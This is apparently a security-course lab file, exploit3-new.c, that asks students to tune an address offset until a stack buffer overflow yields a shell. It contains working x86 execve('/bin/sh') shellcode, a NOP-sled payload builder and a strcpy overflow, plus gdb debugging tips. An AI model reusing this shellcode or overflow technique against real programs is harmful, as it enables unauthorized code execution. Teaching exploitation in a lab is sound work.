/* * exploit3-new.c * * Your task: * Change the MY_DIFF value so that the buffer overflows and you get a shell prompt. * Here's an example of my output: * umnak% ./exploit3-new * Using XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX * sh-3.1$ * * useful gdb commands: * disassemble main -- disassembles the main function * break *0x08048656 -- sets a breakpoint * run -- runs to the breakpoint * i r -- shows you the registers * stepi -- steps a single instruction * x/200xw $sp -- shows 200 words of current stack * x/200xw $sp + 32 -- you can look forwards relative to sp * x/200xw $sp - 32 -- you can look backwards relative to sp */ #include #include #define MY_DIFF +0xFF /* CHANGE THIS. MAY BE POSITIVE OR NEGATIVE. */ #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 612 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main(int argc, char *argv[]) { char buf[512]; char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); fflush(stdout); exit(0); } addr = buf + MY_DIFF; printf("Using address: 0x%08x ; buf at 0x%08x\n", addr, buf); fflush(stdout); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; strcpy(buf, buff); }